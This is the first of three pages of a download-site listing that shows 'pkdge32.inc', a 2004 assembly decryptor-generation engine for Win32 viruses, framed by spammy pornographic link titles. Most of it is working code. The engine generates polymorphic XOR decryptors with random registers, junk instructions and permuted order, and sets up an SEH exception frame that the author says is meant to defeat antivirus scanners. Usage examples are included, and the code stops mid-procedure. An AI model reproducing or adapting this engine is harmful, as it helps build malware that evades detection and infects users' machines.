亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? pkdge32.inc

?? Win32病毒入門源碼
?? INC
?? 第 1 頁 / 共 3 頁
字號:
;
; pker's Decryptor Generation Engine for Win32 (PKDGE32)
; ======================================================
;
;
; Description
; -----------
;
; I wanted to code a polymorphic engine when I first started coding this.  Then
; I got the idea of generating decrypt code dynamically instead of morphing the
; original decrypt code.  The generated  decryptor uses random registerz,  with
; junk code inserted,  and it's  instruction-permutable.  When coding,  I found
; that the name  'decrypt generation engine'  is more  appropriate than a poly-
; morphic engine, so I renamed it to PKDBE32.
;
; Generally, the decrypt code looks like the following:
;
;                   mov     Rw,offset code2decrypt      ; (1)
;                   mov     Rz,decrypt_size             ; (2)
; decrypt_loop:     xor     byte [Rw],imm8              ; (3)
;                   inc     Rw                          ; (4)
;                   dec     Rz                          ; (5)
;                   jnz     decrypt_loop                ; (6)
;
; As we can see,  I used Rx, Ry, Rz in the code above, instead of EAX, EBX, ...
; this  means  the we can use random registerz in the decrypt code.  The engine
; can  select  random  registerz to generate each instruction.  Meanwhile,  the
; first 2  instructionz are  permutable,  so the engine will put the 2 instruc-
; tionz in a random order.  Also,  we know that some of the instructionz can be
; replaced by other instructionz that performed the same.  For example,  we can
; use PUSH/POP to replace MOV XXX/XXX, etc.  Last but important, is, the engine
; will insert junk codez after each instructionz.
;
; One more thing, the engine setup a SEH frame before the decrypt code in order
; to fuck some AVsoftz.  And of course,  there're also junk codez between these
; instructionz.
;
; The SEH frame's like the following code:
;
; start:            call    setup_seh                   ; (1)
;                   mov     esp,[esp+8]                 ; (2)
;                   jmp     end_seh                     ; (3)
; setup_seh:        xor     Rx,Rx                       ; (4)
;                   push    dword [fs:Rx]               ; (5)
;                   mov     [fs:Rx],esp                 ; (6)
;                   dec     dword [Rx]                  ; (7)
;                   jmp     start                       ; (8)
; end_seh:          xor     Ry,Ry                       ; (9)
;                   pop     dword [fs:Ry]               ; (10)
;                   pop     Rz                          ; (11)
;
; Then comes the real decrypt code (generated by this engine).
;
;
; How to use it?
; --------------
;
; This engine can compile with FASM, TASM and MASM, etc.
;
; When using FASM we can:
;
; decryptor: times 40h      db      90h
; crypt_code: ...
; crypted_size = $-crypt_code
; rng_seed          dd          ?
;
; gen_decrytpor:    mov     edi,decryptor
;                   mov     esi,rng_seed
;                   mov     ebx,crypt_code
;                   mov     ecx,crypted_size
;                   mov     edx,9ah
;                   call    __pkdge32
;
; When using TASM or MASM we should:
;
; decryptor         db      40h dup (90h)
; crypt_code: ...
; crypted_size = $-crypt_code
; rng_seed          dd          ?
;
; gen_decrytpor:    mov     edi,offset decryptor
;                   mov     esi,offset rng_seed
;                   mov     ebx,offset crypt_code
;                   mov     ecx,crypted_size
;                   mov     edx,9ah
;                   call    __pkdge32
;
; One more feature, the engine returns the address of the code2decrypt field in
; the decryptor,  so we can fix this value after generating the decryptor. This
; means  we  can replace the code which to be decrypt anywhere after generating
; the  decrypt  code.  We can replace our code which to be decrypted just after
; the decryptor, without padding so many NOPz between them :P
;
; We could code like this:
;
; col_code: times crypted_size+200h    db   0
;
; gen_decrytpor:    mov     edi,col_code
;                   mov     esi,rng_seed
;                   mov     ecx,crypted_size
;                   mov     ebx,12345678h
;                   mov     edx,12345678h
;                   call    __pkdge32
; fix_address:      mov     esi,edi
;                   xchg    eax,edi
;                   stosd
;                   xchg    esi,edi
; copy_code:        mov     esi,crypt_code
;                   mov     ecx,crypted_size
;                   rep     movsb
;
; Well, enjoy it!
;
;
; Copyright
; ---------
;
; (c) 2004. No rightz reserved. Use without permission :P.
;


;
; __pkdge32 procedure
; ===================
;
;
; Description
; -----------
;
; This  is  the main procedure of the engine.  It controlz the whole generation
; process,  including SEH setup, instruction  generation,  junk code insertion,
; etc.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       ecx --- decrypt buffer size (counter in bytez)
;       edx --- decrypt key
;       edi --- pointz to the buffer to save decryptor
;       ebx --- pointz to the buffer where saved the encrypted code
;       esi --- pointz to the RNG seed buffer
;
; Output:
;       edi --- the end of the decryptor
;       eax --- pointz  to  the  address of the code which will be decrypted in
;               the  decryptor,  this means we can place the code which will be
;               decrypted anywhere by fixing the value pointed by EAX
;

__pkdge32:      pushad
                xor     ebp,ebp
                xchg    esi,edi                 ; initialize the RNG seed
                call    __randomize             ; ...
                xchg    esi,edi                 ; ...

;
; First,  we select four random  registerz for later use.  These four registerz
; are all different
;

                xor     ebx,ebx                 ; used to save Rw, Rz, Rx, Ry
                call    pkdg_sel_reg
                or      bl,al
                call    pkdg_sel_reg
                shl     ebx,4
                or      bl,al
                call    pkdg_sel_reg
                shl     ebx,4
                or      bl,al
                call    pkdg_sel_reg
                shl     ebx,4
                or      bl,al

;
; We setup a SEH frame, then we raise an exception and run the following codez.
; This action may fuck some of the AVsoftz.
;

                push    edi
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     al,0e8h                 ; seh instruction 1
                stosb                           ; ...
                stosd                           ; addr 1, no matter what, fix l8r
                push    edi                     ; save addr1 to fix
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     eax,0824648bh           ; seh instruction 2
                stosd                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     al,0ebh                 ; seh instruction 3
                stosb                           ; ...
                stosb                           ; addr 2, no matter what, fix l8r
                push    edi                     ; save addr2 to fix
                mov     eax,[esp+4]             ; fix addr1
                xchg    edi,eax                 ; ...
                sub     eax,edi                 ; ...
                sub     edi,4                   ; ...
                stosd                           ; ...
                add     edi,eax                 ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     ah,bl                   ; seh instruction 4
                and     ah,7                    ; ...
                or      eax,0c031h              ; ...
                push    ebx                     ; ...
                and     ebx,7                   ; ...
                shl     ebx,11                  ; ...
                or      eax,ebx                 ; ...
                pop     ebx                     ; ...
                stosw                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     eax,0ff64h              ; seh instruction 5
                stosw                           ; ...
                mov     al,bl                   ; ...
                and     eax,7                   ; ...
                or      al,30h                  ; ...
                stosb                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     eax,8964h               ; seh instruction 6
                stosw                           ; ...
                mov     al,bl                   ; ...
                and     eax,7                   ; ...
                or      al,20h                  ; ...
                stosb                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     ah,bl                   ; seh instruction 7
                and     eax,700h                ; ...
                or      eax,08ffh               ; ...
                stosw                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     al,0ebh                 ; seh instruction 8
                stosb                           ; ...
                mov     eax,[esp+8]             ; ...
                sub     eax,edi                 ; ...
                dec     eax                     ; ...
                stosb                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                pop     eax                     ; fix addr2
                xchg    eax,edi                 ; ...
                sub     eax,edi                 ; ...
                dec     edi                     ; ...
                stosb                           ; ...
                add     edi,eax                 ; ...
                mov     ah,bh                   ; seh instruction 9
                and     eax,700h                ; ...
                or      eax,0c031h              ; ...
                push    ebx                     ; ...
                and     ebx,700h                ; ...
                shl     ebx,3                   ; ...
                or      eax,ebx                 ; ...
                pop     ebx                     ; ...
                stosw                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     eax,8f64h               ; seh instruction 10
                stosw                           ; ...
                mov     al,bh                   ; ...
                and     eax,7                   ; ...
                stosb                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     al,bh                   ; seh instruction 11
                and     al,7                    ; ...
                or      al,58h                  ; ...
                stosb                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                add     esp,8                   ; balance the stack

;
; Now,  generate the first two  instructionz with junk codez between them,  and
; permute the two instructionz in a random order.
;

                mov     ecx,2
                call    __random_rdtsc
                or      ecx,ecx
                jz      pkdg_gen_12
                call    pkdg_gen_1
                call    pkdg_gen_2
                jmp     pkdg_gen_f2f
pkdg_gen_12:    call    pkdg_gen_2
                call    pkdg_gen_1

;
; The last step, we generate the last four instructionz with junk codez in them
; these  four  instructionz must in the same order,  but the registerz they use
; are still random
;

pkdg_gen_f2f:   mov     esi,[esp+4]             ; restore ESI
                push    edi                     ; save loop address

                push    esi
                mov     eax,ebx                 ; xor byte [Rw],Imm8
                shr     eax,12                  ; ...
                and     al,7                    ; ...
                mov     esi,[esp+28]            ; ...
                call    __pkdge32_gen_xor_reg_imm
                pop     esi
                xor     eax,eax

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
依依成人精品视频| 国产精品久久久久久户外露出| 日韩影院免费视频| 国产精品无圣光一区二区| 欧美视频中文字幕| 国产91富婆露脸刺激对白| 午夜国产精品一区| 国产精品三级电影| 日韩欧美国产午夜精品| 99久久精品情趣| 国产麻豆视频精品| 午夜在线电影亚洲一区| 亚洲精品国产一区二区精华液| 精品日韩成人av| 日韩视频免费直播| 欧美日韩国产色站一区二区三区| 国产成a人无v码亚洲福利| 久久精品国产亚洲一区二区三区 | 亚洲成av人在线观看| √…a在线天堂一区| 国产欧美日韩三区| 国产午夜亚洲精品午夜鲁丝片| 精品精品国产高清一毛片一天堂| 欧美日韩电影在线| 91精品国产入口| 色综合久久综合中文综合网| 91网页版在线| 高清国产一区二区| 色综合久久中文字幕| 欧美天堂一区二区三区| 欧美日本一区二区三区四区| 91精品国产欧美一区二区成人| 欧美人与z0zoxxxx视频| 欧美不卡在线视频| 日本一区二区电影| 亚洲综合一区二区三区| 日韩黄色免费电影| 国产精品一线二线三线精华| 国产91高潮流白浆在线麻豆| 色中色一区二区| 欧美一区三区二区| 国产三级精品三级在线专区| 日韩毛片高清在线播放| 奇米888四色在线精品| 国产成人午夜高潮毛片| 在线区一区二视频| 26uuu国产日韩综合| |精品福利一区二区三区| 日日摸夜夜添夜夜添亚洲女人| 国产精品系列在线观看| www.爱久久.com| 精品国产凹凸成av人导航| 亚洲欧美另类小说| 国产成人午夜精品影院观看视频| 一本到不卡精品视频在线观看| 欧美成人在线直播| 一区二区三区av电影| 成人免费毛片片v| 精品三级在线观看| 五月天亚洲婷婷| 在线观看日韩精品| 国产精品第四页| 国产suv精品一区二区883| 日韩三级在线观看| 日本一道高清亚洲日美韩| 91成人免费电影| 国产欧美日韩亚州综合| 久久不见久久见免费视频1| 91黄视频在线观看| 亚洲精品日产精品乱码不卡| 国产乱理伦片在线观看夜一区| 欧美成人video| 精品中文字幕一区二区小辣椒| 在线91免费看| 日韩av中文字幕一区二区| 欧美日韩国产一二三| 一区二区三区在线免费观看| 成人av资源站| 久久免费视频色| 成人高清伦理免费影院在线观看| 久久久久久黄色| 99久久久精品| 五月天一区二区| 精品国产一区a| 国产91丝袜在线播放九色| 综合欧美亚洲日本| 欧美日韩性生活| 狠狠色丁香婷婷综合| 亚洲国产成人在线| 91久久香蕉国产日韩欧美9色| 亚洲国产毛片aaaaa无费看 | 精品av久久707| 国产黄色成人av| 亚洲图片有声小说| 欧美videossexotv100| 成人黄色777网| 五月婷婷另类国产| 国产精品第四页| 日韩一区和二区| 日本精品一级二级| 韩国午夜理伦三级不卡影院| 亚洲综合一二区| 国产嫩草影院久久久久| 欧美久久婷婷综合色| 99视频精品全部免费在线| 精品亚洲国内自在自线福利| 亚洲女同ⅹxx女同tv| 久久精品在这里| 欧美丰满嫩嫩电影| 91久久国产综合久久| 国产激情一区二区三区| 麻豆成人免费电影| 亚洲成人午夜影院| 亚洲图片你懂的| 国产精品无圣光一区二区| 在线不卡一区二区| 色综合久久中文字幕综合网| 国产成人免费在线视频| 六月婷婷色综合| 毛片一区二区三区| 免费在线观看日韩欧美| 亚洲高清免费一级二级三级| 一区二区三区在线观看视频| 日韩理论片一区二区| 中文字幕一区二区三区在线观看| 久久久综合九色合综国产精品| 日韩视频一区二区三区在线播放| 欧美日韩aaaaaa| 在线不卡一区二区| 精品三级av在线| 久久女同互慰一区二区三区| 日本一二三不卡| 国产精品视频一二三| 亚洲欧美在线视频| 亚洲美女在线国产| 亚洲国产精品一区二区www| 日本一不卡视频| 国产一区二区福利视频| www.日韩av| 欧美精品黑人性xxxx| 欧美成人video| 中文字幕中文字幕在线一区 | 日韩免费电影一区| 久久一日本道色综合| 国产精品乱码人人做人人爱| 亚洲永久精品国产| 久久国产精品区| 99在线热播精品免费| 欧美高清激情brazzers| 精品国产免费一区二区三区四区 | 国产精品美女久久久久久久网站| 亚洲女人****多毛耸耸8| 日本亚洲天堂网| 91在线视频网址| 精品国产一区二区三区忘忧草| 国产精品电影一区二区| 另类小说一区二区三区| 日本韩国视频一区二区| 国产欧美精品一区| 日韩国产精品久久久| 91啪九色porn原创视频在线观看| 日韩亚洲欧美在线观看| 亚洲最新视频在线播放| 国产精品一区二区三区四区| 91精品国产综合久久久久久久| 国产精品久久一卡二卡| 激情综合五月婷婷| 欧美老年两性高潮| 一片黄亚洲嫩模| 91免费国产在线| 国产精品国产三级国产普通话蜜臀| 五月婷婷综合网| 7777精品伊人久久久大香线蕉的 | 日韩精品一区二区三区在线| 亚洲线精品一区二区三区八戒| www.亚洲激情.com| 国产精品国产三级国产有无不卡| 国产成人欧美日韩在线电影| 精品成人私密视频| 国产精品一区二区黑丝| 久久久午夜精品理论片中文字幕| 激情亚洲综合在线| 久久午夜国产精品| 国产一区二区h| 国产精品三级av| 一本久道中文字幕精品亚洲嫩| 亚洲黄色av一区| 欧美日韩一区二区三区四区| 亚洲午夜免费福利视频| 69久久99精品久久久久婷婷| 日本成人在线网站| 久久综合久久99| 99视频一区二区| 日韩av一区二区三区四区| 26uuu色噜噜精品一区| 97久久超碰精品国产| 五月天激情小说综合| 精品福利一区二区三区免费视频| 国产成a人无v码亚洲福利| 亚洲国产精品久久艾草纯爱|